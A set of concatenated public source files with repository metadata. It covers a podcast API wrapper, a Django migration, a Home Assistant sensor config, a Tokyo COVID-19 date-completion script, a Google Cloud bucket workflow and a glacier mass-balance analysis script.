response.headers['X-ListenAPI-Usage']) return response.json()['genres'] #Devuelve las posibles regiones de podcast en forma de json def get_regions(self): response = requests.get(self.url + '/regions', headers=self.headers) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json() #Devuleve un episodio de un podcast random. No necesita parámetros def get_randomEpisode(self): response = requests.get(self.url + '/just_listen', headers=self.headers) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json() #Recomienda términos de búsqueda, géneros de podcasts y Podcasts_api # -query: Término de búsqueda, p.ej: star wars. Si se pone con comillas ("star wars"), la búsqueda es literal # -show_podcasts: 1 para auto-sugerir podcasts(con información mínima). 0 para no sugerir. # -show_genres: 1 para recomendar géneros de acuerdo a 'query'. 0 para no recomendar. def get_suggested_podcasts(self, query, show_podcasts=0, show_genres=0): querystring = { 'q': query, 'show_podcasts': show_podcasts, 'show_genres' : show_genres } response = requests.get(self.url + '/typeahead', headers=self.headers, params=querystring) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json() #Devuelve el podcast correspondiente y la lista de sus episodios def get_by_name(self,name): result = self.search(query=name, type='podcast', sort_by_date=1) #'Results' es la lista de podcast devuelta en el JSON if result != 'ERROR': pod_id = result["results"][0]["id"] podcast = self.get_detailedInfo_podcast(id=pod_id) episodes = podcast["episodes"] #lista_final = [(l["title"], l["audio"]) for l in episodes] return podcast , episodes else: print('ERROR: Podcast not found.') return None, None # Devuelve un lote de episodios, dado un string de ids separados por comas. # Evita realizar varias llamadas a la api def get_many_episodes(self, ids): querystring = { 'ids': ids } response = requests.post(self.url + '/episodes', headers=self.headers, data=querystring) if response.status_code != 200: return 'ERROR' return response.json()["episodes"] def get_podcast_recommendation(self, id): # querystring = { # 'id': id # } response = requests.get(self.url + '/podcasts/' + id + '/recommendations', headers=self.headers) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json()["recommendations"] # Al final la he puesto en models como una property # convierte la uri de listennotes de un audio a la uri del audio real al que redirige con un 302 # # se usara en el serializador, puede que la direccion final cambie en el tiempo # def get_real_uri(self, uri): # return "WORK IN PROGRESS EN PODCASTS.PY" # Para probar que funciona if __name__ == '__main__': the_secret_function() pd = Podcasts_api() # Este es un ejemplo de uso en el que: # -Se busca un podcast con el método search y se coge el primero. (se muestra su canal) # -Se busca información detallada de ese podcast # -Se busca información detallada de cada uno de los episodios de ese podcast result = pd.search(query="La vida moderna", type='podcast', sort_by_date=1) #'Results' es la lista de podcast devuelta en el JSON pod_id = result["results"][0]["id"] result = pd.get_detailedInfo_podcast(id=pod_id) print("Nombre de poscast: " + result["title"]) print("Canal del podcast: " + result["publisher"]) episodes = result["episodes"] lista_final = [(l["title"], l["audio"]) for l in episodes] result = json.dumps(lista_final) parsed = json.loads(result) # Si se quiere acceder al archivo mp3: # curl -L -s -w %{url_effective} --request GET <audio_listennotes> print(json.dumps(parsed, indent=2, sort_keys=True))

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Python

klimaat_helpdesk/cms/migrations/0011_auto_20200803_1507.py

Arfor/website

d67b19e9be5a33f58f607962e665389b7695cccc

[ "MIT" ]

5

2020-10-22T07:02:11.000Z

2020-11-02T10:24:43.000Z

klimaat_helpdesk/cms/migrations/0011_auto_20200803_1507.py

Arfor/website

d67b19e9be5a33f58f607962e665389b7695cccc

[ "MIT" ]

71

2020-10-21T18:11:10.000Z

2022-02-09T14:11:18.000Z

klimaat_helpdesk/cms/migrations/0011_auto_20200803_1507.py

Arfor/website

d67b19e9be5a33f58f607962e665389b7695cccc

[ "MIT" ]

5

2020-10-21T17:51:47.000Z

2021-03-21T16:33:17.000Z

# Generated by Django 3.0.5 on 2020-08-03 15:07 from django.db import migrations, models import klimaat_helpdesk.cms.blocks import wagtail.core.blocks import wagtail.core.fields class Migration(migrations.Migration): dependencies = [ ('cms', '0010_categoryanswerrelationship'), ] operations = [ migrations.AddField( model_name='answer', name='featured', field=models.BooleanField(default=False), ), migrations.AddField( model_name='answer', name='type', field=models.CharField(choices=[('column', 'Column'), ('anwswer', 'Antwoord')], default='answer', max_length=100), ), migrations.AlterField( model_name='answer', name='answer_origin', field=wagtail.core.fields.StreamField([('origin', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.CharBlock(max_length=255)), ('content', wagtail.core.blocks.RichTextBlock()), ('sources', wagtail.core.blocks.ListBlock(klimaat_helpdesk.cms.blocks.ScientificSourceBlock))]))], blank=True), ), migrations.AlterField( model_name='answer', name='related_items', field=wagtail.core.fields.StreamField([('related_items', wagtail.core.blocks.StructBlock([('items', wagtail.core.blocks.ListBlock(wagtail.core.blocks.PageChooserBlock(page_type=['cms.Answer'])))]))], blank=True), ), ]

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9939b2f449ad6c580c0471f4d517b6daee730bac

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py

Python

custom_components/ping_socket/model.py

gtjamesa/hacs-ping-socket

f6573085c93b08227b2c9146589cdf52ee07208b

[ "Apache-2.0" ]

null

custom_components/ping_socket/model.py

gtjamesa/hacs-ping-socket

f6573085c93b08227b2c9146589cdf52ee07208b

[ "Apache-2.0" ]

null

custom_components/ping_socket/model.py

gtjamesa/hacs-ping-socket

f6573085c93b08227b2c9146589cdf52ee07208b

[ "Apache-2.0" ]

null

"""Models for Ping Socket platform.""" from __future__ import annotations from typing import TypedDict from homeassistant.helpers.template import Template class PingSocketSensorConfig(TypedDict): """TypedDict for PingSocketSensor config.""" name: str host: str port: str timeout: int payload: str | None value_template: Template | None value_on: str | None buffer_size: int

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993a49824daba6f94a6ddb3110d512c3b971d0fc

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py

Python

tokyo/cmp_year.py

sken10/covid19

034fb50b99823726216fef20d4eabe7f012ff718

[ "MIT" ]

null

tokyo/cmp_year.py

sken10/covid19

034fb50b99823726216fef20d4eabe7f012ff718

[ "MIT" ]

null

tokyo/cmp_year.py

sken10/covid19

034fb50b99823726216fef20d4eabe7f012ff718

[ "MIT" ]

null

"""年を補完した日付を付加する。(for 東京都福祉保健局/都内感染者の状況) 東京都の資料には日付の項目に年の情報がないので、それを補完する。各レコードの終端に、 Y/M/D 形式のリリース日、発症日、確定日を追加する。使い方 ------ data/0104.csv から data/0104_c.csv (ファイル名に _c 追加、Y/M/D タイムスタンプ追加)を作る場合: $ cmp_year.py data/0104.csv レコード構成 ------------ 0:'リリース日' 1:'居住地' 2:'年代' 3:'性別' 4:'属性(職業等)' 5:'渡航歴' 6:'接触歴' 7:'発症日' 8:'確定日' 9: '重症', 10 '退院等' --- 以下を追加 --- 11:'リリース日YMD' 12:'発症日YMD' 13:'確定日YMD' NOTES ----- リリース日は昇順に並んでいることを仮定している。再発で表が更新されたときに、各日付がどのように変更されるか分からないので、正しい対処というのも分からない。 """ import sys import os import re from datetime import datetime, timedelta import csv def get_month_day(x): m = re.match(r'(\d+)月(\d+)日', x) if m: month = int(m.group(1)) day = int(m.group(2)) else: month = 0 day = 0 return month, day def date_str(x): return x.strftime('%Y/%m/%d') def complement_year(date_ref, m, d): """ 年を補完して日付を作る年が不明の月日をのうち基準日に近いものを選ぶ。探す範囲は、基準日の年を Y として Y±1 年。 Parameters ---------- date_ref, datetime : 規準日 m, int : 月 d, int : 日 Returns ------- date, datetime : 年を補完した日付 Notes ----- 基準日として公表日を選ぶと、発症や診断は必ず過去になるので仕様は緩め。再発のケースの扱いなど不明な点も多いので、とりあえず差が小さいものを選ぶことにした。年の ambiguity を解決する方法として、基準日の月と目的の月の大小関係で場合分けすることが多いと思うが、ここでは、候補をいくつか計算したうえで、一番近いものを選んでいる。仕様との意味的な対応もよく、if の条件式の設定で悩む事もない。加えて、(見やすさはともかくとして、)その気になれば一つの式で表現できるという素敵な性質を有している。 """ yy = [date_ref.year + a for a in (-1, 0, 1)] # 年の候補 dd = [datetime(a, m, d) for a in yy] # 対応する日付 err_date = [(abs((a - date_ref).days), a) for a in dd] # 基準日からの差と日付 err_, date = sorted(err_date)[0] # 昇順に並べた先頭(差が最小) if abs((date - date_ref).days) > 150: sys.stderr.write('WARNING : date %s - date_ref %s > 150 day \n' % (date, date_ref)) return date def _ymd(date_rel, x): """ ○月×日 ==> YYYY/MM/DD (YYYY は、date_rel 使って補完) Parameters ---------- date_rel, datetime : リリース日 x, str: 日付 '○月×日' Returns ------- ym, str : 年月日を表す文字列 'YYYY/MM/DD' """ m, d = get_month_day(x) if m != 0: date = complement_year(date_rel, m, d) ymd = date_str(date) else: ymd = '' return ymd def main(): """ *.csv と同じフォルダに *_c.csv を作る。ファイル名に _c を付加。各レコードの終端に、Y/M/D 形式の日付情報を追加。 """ path_src = sys.argv[1] with open(path_src, encoding='sjis') as csv_source: buf = [a for a in csv.reader(csv_source)] buf[0] = buf[0] + ['リリース日YMD', '発症日YMD', '確定日YMD'] # ヘッダー追加 y_rel = 2020 # 年の初期値 m_prv = None # 前のレコードの月 for x in buf[1:]: # skip header # リリース日(新年検出) # m_rel, d_rel = get_month_day(x[0]) # リリース日の月,日 if m_prv and (m_rel < m_prv): y_rel = y_rel + 1 print('detect new year %d %d %d ' % (y_rel, m_rel, d_rel)) m_prv = m_rel date_rel = datetime(y_rel, m_rel, d_rel) # 追加情報 x.append(date_str(date_rel)) # x[11] リリース日YMD x.append(_ymd(date_rel, x[7])) # x[12] 発症日YMD x.append(_ymd(date_rel, x[8])) # x[13] 確定日YMD fn_dir, fn_fn = os.path.split(path_src) fn_base, fn_ext = os.path.splitext(fn_fn) path_dst = os.path.join(fn_dir, '%s_c.csv' % (fn_base)) with open(path_dst, 'w', newline='', encoding='sjis') as csv_file: wr = csv.writer(csv_file) wr.writerows(buf) if __name__ == '__main__': main()

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993ab93218e3036d090d453fc1cde516f0a53099

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py

Python

django_cloud_deploy/workflow/_file_bucket.py

GoogleCloudPlatform/django-cloud-deploy

d316b1e45357761e2b124143e6e12ce34ef6f975

[ "Apache-2.0" ]

61

2018-10-17T17:39:08.000Z

2022-02-20T06:16:49.000Z

django_cloud_deploy/workflow/_file_bucket.py

ggurbet/django-cloud-deploy

0b7c0bb0f40ba81c48ba3db374dbd5c596f4064c

[ "Apache-2.0" ]

202

2018-10-16T18:15:51.000Z

2021-11-11T19:05:33.000Z

django_cloud_deploy/workflow/_file_bucket.py

ggurbet/django-cloud-deploy

0b7c0bb0f40ba81c48ba3db374dbd5c596f4064c

[ "Apache-2.0" ]

23

2018-10-31T00:01:52.000Z

2021-10-09T03:43:59.000Z

# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Workflow for creating the bucket used for file uploads.""" from django_cloud_deploy.cloudlib import storage from google.auth import credentials class FileBucketCreationWorkflow(object): """A class to control the workflow of serving static content.""" def __init__(self, credentials: credentials.Credentials): self._storage_client = ( storage.StorageClient.from_credentials(credentials)) def create_file_bucket(self, project_id: str, bucket_name: str): """Create bucket and assign correct permissions. The public Google Cloud Storage Bucket will hold files uploaded to the Django app. Args: project_id: Id of GCP project. bucket_name: Name of the Google Cloud Storage Bucket used to store files by the Django app. By default it is equal to files-project id. """ self._storage_client.create_bucket(project_id, bucket_name)

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993d36b65ce681aebaefed1af68a07d3f0057018

18,409

py

Python

old_files/PyGEM_postprocess_Analysis_Anna.py

tusharkh/PyGEM-Clone

057d276871d398a3e5dcc8cd59226933a98b3be1

[ "MIT" ]

null

old_files/PyGEM_postprocess_Analysis_Anna.py

tusharkh/PyGEM-Clone

057d276871d398a3e5dcc8cd59226933a98b3be1

[ "MIT" ]

null

old_files/PyGEM_postprocess_Analysis_Anna.py

tusharkh/PyGEM-Clone

057d276871d398a3e5dcc8cd59226933a98b3be1

[ "MIT" ]

null

import pandas as pd import numpy as np import matplotlib.pyplot as plt import netCDF4 as nc from scipy.stats import linregress import cartopy.crs as ccrs import cartopy as car #========== IMPORT INPUT AND FUNCTIONS FROM MODULES =================================================================== import pygem_input as input import pygemfxns_postprocessing as post #%% DATA EXTRACTION regionO1_number = str(input.rgi_regionsO1[0]) NETfullfilename=(input.output_filepath + ('PyGEM_R'+regionO1_number+ '_ERA-Interim_'+ str((input.startyear)) + '_' +str(input.endyear) + '_1' ) ) # non-elevation dependant temp = glac_temp1=pd.read_csv(input.main_directory + '/../ERAInt_Sim_Selection/' + 'RGI_0' + str(input.rgi_regionsO1[0]) + '_ERA_Int_Glacier_Temp.csv') glac_prec1=pd.read_csv(input.main_directory + '/../ERAInt_Sim_Selection/' + 'RGI_0' + str(input.rgi_regionsO1[0]) + '_ERA_Int_Glacier_PPT.csv') output = nc.Dataset(NETfullfilename +'.nc') #year ragne year= range((input.startyear-1),input.endyear) ## Select relevant data glacier_data = pd.DataFrame(output['glacier_table'][:]) glacier_data_columns = output['glacier_table_header'][:] lats = glacier_data[2].values.astype(float) lons = glacier_data[1].values.astype(float) massbal_monthly = output['massbaltotal_glac_monthly'][:] volume=output['volume_glac_annual'][:] RGI=output['glac_idx'][:] temp=output['temp_glac_monthly'][:] prec=output['prec_glac_monthly'][:] glac_elev=glacier_data[17][:].astype(float).values glac_area=glacier_data[5][:].astype(float).values #%% Mass balance total over time period, mass balance averaged/yr, rate of change: for rate of change # do yearly average plot for entire glacier #do area weighted mass balance for each reigon (how to do that?) #for future SIM: do time slices and do total mass balance/yearly average + everything above for each #slice # do temp and ppt plots: for both the temp and ppt over that period as well as the glacier temp and ppt # that is adjusted for hypsometry to show the difference #volume change.... area weighted #%% MASS BALANCE TOTAL AND AVERAGE OVER OBVS PERIOD: MAPS # total mass balance of each glacier for period of observation (mwe) massbal_total= massbal_monthly.sum(axis=1)/(massbal_monthly.shape[1]/12) # total mass balance of each glacier averaged over years of observation (mwea) massbal_averaged=massbal_total/len(year) #land definition for plotting land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m', edgecolor='k', facecolor='none') # lat/long definition for plot east = int(round(lons.min())) - 1 west = int(round(lons.max())) + 1 south = int(round(lats.min())) - 1 north = int(round(lats.max())) + 1 xtick = 1 ytick = 1 # define title title=('R'+str(regionO1_number) + ' ' + str(input.startyear) +'-' + str(input.endyear)) proj_crs = ccrs.PlateCarree() projection = ccrs.RotatedPole(pole_longitude=40, pole_latitude=37.5) geo_axes = plt.axes(projection=projection) # total mass balance map plt.figure(1) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) scat=ax.scatter(lons, lats, c=massbal_total,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black') cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwe') plt.title('Total Mass Balance '+ title) # annual mass balance average map plt.figure(2) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) scat=ax.scatter(lons, lats, c=massbal_averaged,transform=proj_crs, cmap='seismic_r', vmin=-0.15, vmax=0.15) #edgecoors='black' ??? cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwea') plt.title('Average Mass Balance '+ title) #should i make plots of JUST positive and JUST negative? would need edge colors then #%% LINEAR REGRESSION/SLOPE AND YEARLY PLOTS # annual mass balance for each glacier for period of observation massbal_annual=(np.sum(massbal_monthly.reshape(-1,12),axis=1)).reshape(len(massbal_total),len(year)) # annual mass balance for entire region massbal_annual_total=np.sum(massbal_annual, axis=0) # linear regression trends for entire period linreg_info=[('RGIId','slope','incercept','r_val','p_val','std_err')] slopes=[] # removes slopes that have sig below 95% for i in range(0,len(massbal_total)): slope, intercept, r_value, p_value, std_err = linregress(year, massbal_annual[i]) RGI=glacier_data[0][i] if p_value > 0.05: slope=float('nan') if glacier_data[13][i] != 0: appends=(RGI, 'nan','nan','nan','nan','nan') else: appends=(RGI, slope, intercept,r_value, p_value, std_err) linreg_info.append(appends) slopes.append(slope) # plot glacier wide mass balance over time period plt.figure(3) plt.plot(year,massbal_annual_total) plt.xlabel('Year') plt.ylabel('Mass Balance mwe') plt.title('Region Total Mass Balance' + title) # plot glacier slopes map for entire period plt.figure(4) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) ax.scatter(lons,lats,c=[0.8,0.8,0.8], transform=proj_crs) #,edgecolors='black') scat=ax.scatter(lons, lats, c=slopes,transform=proj_crs, cmap='seismic_r', vmin=-0.2,vmax=0.2)#, edgecolors='black') cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwea') plt.title('Rate of Mass Balance Change '+ title) #%% TEMP & PREC FOR THE REGION, ELEVATION ADJUSTED AND NOT #convert to float glac_temp=glac_temp1.iloc[:,1:].astype(float).values glac_prec=glac_prec1.iloc[:,1:].astype(float).values #get average temp/prec for region annual_temp=(np.sum(glac_temp.reshape(-1,12),axis=1).reshape(len(lats),len(year)))/12 annual_prec=np.sum(glac_prec.reshape(-1,12),axis=1).reshape(len(lats),len(year)) #total prec average_temp=(annual_temp.sum(axis=0))/(len(lats)) average_prec=(annual_prec.sum(axis=0))/(len(lats)) # average temp/prec adjusted for glacier elevation glac_annual_temp=(np.sum(temp.reshape(-1,12),axis=1).reshape(len(lats),len(year)))/12 glac_annual_prec=np.sum(prec.reshape(-1,12),axis=1).reshape(len(lats),len(year)) #total prec glac_average_temp=(glac_annual_temp.sum(axis=0))/(len(lats)) glac_average_prec=(glac_annual_prec.sum(axis=0))/(len(lats)) # check offset/diference temp_diff=average_temp-glac_average_temp ppt_diff=average_prec-glac_average_prec # check if offset is apropriate (approx 3.5 degC w/ 1000m and 24.5% ppt decrease) elev_ave=np.sum(glac_elev)/len(lats) temp_offset=(elev_ave/1000)*3.5 ppt_offset=(((elev_ave/1000)*24.5)/100)*(np.sum(average_prec, axis=0)/len(average_prec)) plt.figure(5) plt.plot(year,average_temp) plt.plot(year, glac_average_temp) plt.plot(year, temp_diff, color=[0.5,0.5,0.5]) plt.xlabel('Year') plt.ylabel('Tempearture (C)') plt.title('Region-Average Temperature ' + title) plt.legend(['Not Adjusted','Adjusted', 'Difference']) plt.figure(6) plt.plot(year,average_prec) plt.plot(year, glac_average_prec) plt.plot(year, ppt_diff, color=[0.5,0.5,0.5]) plt.xlabel('Year') plt.ylabel('Precipitation (m)') plt.title('Region-Average Annual Precipitation ' + title) plt.legend(['Not Adjusted','Adjusted','Difference']) print('expected temp offset =' + str(temp_offset) + 'C') print('expected ppt offset= ' + str(ppt_offset) + 'm') #this will probably change with future stuff because elevation will not be constant #%% AREA WEIGHTED AVERAGE # total glacier area area_total=np.sum(glac_area, axis=0) # area percentage for each glacier area_prcnt=[x/area_total for x in glac_area] # area weighted glacier average glac_area_w=np.sum(massbal_total*area_prcnt, axis=0) # not weighted glacier average glac_area_nw=(np.sum(massbal_total, axis=0))/len(lats) year_weight=[] # area weighted annual values for y in range(0,len(year)): yeararea=pd.Series(massbal_annual[:,y]*area_prcnt) year_weight.append(yeararea) df_area=(pd.DataFrame(year_weight)) areaweight_annual=df_area.T # final area weighted annual values areaweight_total=np.sum(areaweight_annual, axis=0) plt.figure(7) plt.plot(year, areaweight_total) plt.xlabel('Year') plt.ylabel('Mass Balance (mwe)') plt.title('Area Weighted Mass Balance ' + title) #%% VOLUME CHANGE ANALYSIS, INCLUDING AREA-WEIGHTED #years needed for volume year2= range((input.startyear-2),input.endyear) # total volume change volume_total=volume.sum(axis=0) volume_perglac=volume_total/len(lats) # volume percentage change volume_first=volume_total[0] volume_prcnt=volume_total/volume_first # area weighted volume change vol_weight=[] for y in range(0,(len(year)+1)): volarea=pd.Series(volume[:,y]*area_prcnt) vol_weight.append(volarea) df_vol=(pd.DataFrame(vol_weight)) volweight_annual=df_vol.T volweight_total=np.sum(volweight_annual, axis=0) for i in range(5,len(year2)): #this code really needs to be improved... need to incorporate another for loop test=i-1 test2=i-2 test3=i-3 test4=i-4 test5=i-5 volchange1=abs(volume_prcnt[test]-volume_prcnt[i]) volchange2=abs(volume_prcnt[test2]-volume_prcnt[test]) volchange3=abs(volume_prcnt[test3]-volume_prcnt[test2]) volchange4=abs(volume_prcnt[test4]-volume_prcnt[test3]) volchange5=abs(volume_prcnt[test5]-volume_prcnt[test4]) if volchange1 and volchange2 and volchange3 and volchange4 and volchange5 <= 0.0001: print (year[i]) volume_change=[] for x in range(0,len(year2)-1): yr=x+1 change=(volume_total[yr]-volume_total[x]) volume_change.append(change) plt.figure(8) plt.plot(year2,volume_total) plt.title('Total Glacier Volume ' + title) plt.xlabel('Year') plt.ylabel('Volume km3') plt.figure(9) plt.plot(year2,volume_prcnt) plt.title('% Glacier Volume Change ' + title) plt.xlabel('Year') plt.ylabel('Percent (%)') plt.figure(10) plt.plot(year,volume_change) plt.title('Total Volume Change ' + title) plt.xlabel('Year') plt.ylabel('Volume km3') plt.figure(11) plt.plot(year2, volweight_total) plt.title('Area Weighted Volume ' + title) plt.xlabel('Year') plt.ylabel('Volume km3') #%% FUTURE SIMULATION SLICE ANALYSIS (total, annual average, slope and area-weighted reg.total) #28 year slices if 2017-2100: 2017-2044, 2045-2072, 2073-2100 (inclusive) # create three slices yearslice1=range(2017,2045) yearslice2=range(2045,2073) yearslice3=range(2073,2101) rangeslice1=range(0,len(yearslice1)) rangeslice2=range(len(yearslice1),(len(yearslice1)+len(yearslice2))) rangeslice3=range((len(yearslice1)+len(yearslice2)),(len(yearslice1)+len(yearslice2)+ len(yearslice3))) # annual glacier mass balance for each time slice massbal_annual1=massbal_annual[:,rangeslice1] massbal_annual2=massbal_annual[:,rangeslice2] massbal_annual3=massbal_annual[:,rangeslice3] # total glacier mass balance for each glacier for each time slice massbal_total1=np.sum(massbal_annual1, axis=1) massbal_total2=np.sum(massbal_annual2, axis=1) massbal_total3=np.sum(massbal_annual3, axis=1) title2= ('R'+str(regionO1_number) + ' ') # area weighted total mass balance glac_area_w1=np.sum(massbal_total1*area_prcnt, axis=0) glac_area_w2=np.sum(massbal_total2*area_prcnt, axis=0) glac_area_w3=np.sum(massbal_total3*area_prcnt, axis=0) # area weighted annual mass balance for each glacier year_weight1=[] year_weight2=[] year_weight3=[] # area weighted annual values for y in range(0,len(yearslice1)): yeararea1=pd.Series(massbal_annual1[:,y]*area_prcnt) year_weight1.append(yeararea1) yeararea2=pd.Series(massbal_annual2[:,y]*area_prcnt) year_weight2.append(yeararea2) yeararea3=pd.Series(massbal_annual3[:,y]*area_prcnt) year_weight3.append(yeararea3) df_area1=(pd.DataFrame(year_weight1)) areaweight_annual1=df_area1.T df_area2=(pd.DataFrame(year_weight2)) areaweight_annual2=df_area2.T df_area3=(pd.DataFrame(year_weight3)) areaweight_annual3=df_area3.T # final area weighted annual values areaweight_total=np.sum(areaweight_annual, axis=0) plt.figure(12) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) scat=ax.scatter(lons, lats, c=massbal_total1,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black') cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwe') plt.title('Total Mass Balance '+ title2 + '2017-2044') plt.figure(13) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) scat=ax.scatter(lons, lats, c=massbal_total2,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black') cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwe') plt.title('Total Mass Balance '+ title2 + '2045-2072') plt.figure(14) plt.figure(figsize=(10,10)) ax = plt.axes(projection=projection) ax.add_feature(land_50m) scat=ax.scatter(lons, lats, c=massbal_total3,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black') cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.axes(projection=projection) cbar.set_label('Mass Balance mwe') plt.title('Total Mass Balance '+ title2 + '2073-2100') #do total mass balance and annual average mass balance for each glacier # and total area weighted #%% OLD CODE #%%Linear regressions for total dataset #want linear regressions(with scipy) and then remove slopes based on high p values year2=list(range(2015,2100)) massbal_annual=(np.sum(massbal_total.reshape(-1,12),axis=1)).reshape(len(lats),len(year)) linreg_info=[('RGIId','slope','incercept','r_val','p_val','std_err')] slopes=[] # removes slopes that have a statsig below 95% for i in range(0,len(lats)): slope, intercept, r_value, p_value, std_err = linregress(year2, massbal_annual[i]) RGI=glacier_data[0][i] if p_value > 0.05: slope=float('nan') if glacier_data[13][i] != 0: appends=(RGI, 'nan','nan','nan','nan','nan') else: appends=(RGI, slope, intercept,r_value, p_value, std_err) linreg_info.append(appends) slopes.append(slope) #%% slope plotting east = int(round(lons.min())) - 1 west = int(round(lons.max())) + 1 south = int(round(lats.min())) - 1 north = int(round(lats.max())) + 1 xtick = 1 ytick = 1 g=plt.figure(1) # Plot regional maps post.plot_latlonvar(lons, lats, slopes,-4.5, 1.5, 'modelled linear rates of SMB Change', 'longitude [deg]', 'latitude [deg]', 'jet_r', east, west, south, north, xtick, ytick) land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m', edgecolor='k', facecolor='none') #pp=plt.figure(1) plt.figure(figsize=(10,10)) ax = plt.axes(projection=car.crs.PlateCarree()) #ax.set_global() #ax.coastlines() ax.add_feature(land_50m) scat1=ax.scatter(lons,lats, c='none', edgecolors='black') scat=ax.scatter(lons, lats, c=slopes, cmap='winter_r', edgecolors='black') #scat.set_clim(-2.5,2.5) cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) cbar.set_label('Rate of Chagne mwea') plt.title('Mass Change/Yr, 1985-2015') # NEED TO CONSIDER WHAT COLORPLOTS TO USE; DO I WANT TO DISTINGUISH BETWEEN LOW CHANGE AND NAN? #%% east = int(round(lons.min())) - 1 west = int(round(lons.max())) + 1 south = int(round(lats.min())) - 1 north = int(round(lats.max())) + 1 xtick = 1 ytick = 1 g=plt.figure(1) # Plot regional maps land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m', edgecolor='k', facecolor='none') #pp=plt.figure(1) plt.figure(figsize=(10,10)) ax = plt.axes(projection=car.crs.PlateCarree()) #ax.set_global() #ax.coastlines() ax.add_feature(land_50m) scat1=ax.scatter(lons,lats, c='none', edgecolors='black') scat=ax.scatter(lons, lats, c=massbal_total_mwea, cmap='jet_r', edgecolors='black') #scat.set_clim(-2.5,2.5) cbar=plt.colorbar(scat, fraction=0.02, pad=0.04) plt.title('Total Mass Balance Change 1985-2015') cbar.set_label('Mass change mwe') #%% Analysis of volume data volume_total=volume.sum(axis=0) volume_first=volume_total[0] volume_prcnt=volume_total/volume_first plt.plot(year,volume_total) plt.title('Total Volume 2016-2100') plt.xlabel('Year') plt.ylabel('Volume m3') plt.plot(year,volume_prcnt) plt.title('Volume % Change 2016-2100') plt.xlabel('Year') plt.ylabel('%') for i in range(5,85): #this code really needs to be improved... need to incorporate another for loop test=i-1 test2=i-2 test3=i-3 test4=i-4 test5=i-5 volchange1=abs(volume_prcnt[test]-volume_prcnt[i]) volchange2=abs(volume_prcnt[test2]-volume_prcnt[test]) volchange3=abs(volume_prcnt[test3]-volume_prcnt[test2]) volchange4=abs(volume_prcnt[test4]-volume_prcnt[test3]) volchange5=abs(volume_prcnt[test5]-volume_prcnt[test4]) if volchange1 and volchange2 and volchange3 and volchange4 and volchange5 <= 0.0001: print (year[i]) volume_change=[] for x in range(0,85): yr=x+1 change=(volume_total[yr]-volume_total[x]) volume_change.append(change) plt.plot(year2,volume_change) plt.title('Total Volume Change 2016-2100') plt.xlabel('Year') plt.ylabel('Volume m3') #%%Analysis of climate data temp_annual=((np.sum(temp.reshape(-1,12),axis=1)).reshape(568,85))/12 temp_ave=((temp_annual.sum(axis=0)))/568 plt.plot(year2,temp_ave) plt.title('Era-Int Temp Simulation 2016-2100 [Years:1990-2000]') plt.xlabel('Year') plt.ylabel('T(degC)') prec_annual=((np.sum(prec.reshape(-1,12),axis=1)).reshape(568,85))/12 prec_ave=((prec_annual.sum(axis=0)))/568 plt.plot(year2, prec_ave) plt.title('Era-Int Prec Simulation 2016-2100 [Years:1990-2000]') plt.xlabel('Year') plt.ylabel('Prec(mm)') #%% For Plotting # Set extent east = int(round(lons.min())) - 1 west = int(round(lons.max())) + 1 south = int(round(lats.min())) - 1 north = int(round(lats.max())) + 1 xtick = 1 ytick = 1 g=plt.figure(1) # Plot regional maps post.plot_latlonvar(lons, lats, massbal_total_mwea, -4.5, 1.5, 'Modeled mass balance [mwea]', 'longitude [deg]', 'latitude [deg]', 'jet_r', east, west, south, north, xtick, ytick) #plt.savefig(input.output_filepath+'/../../CH_1/iceland_2', dpi=100)

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993dcfa2a570da9e634a847c20c71d05390a7639

260,269

py

Python

instances/passenger_demand/pas-20210422-1717-int18e/37.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210422-1717-int18e/37.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210422-1717-int18e/37.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

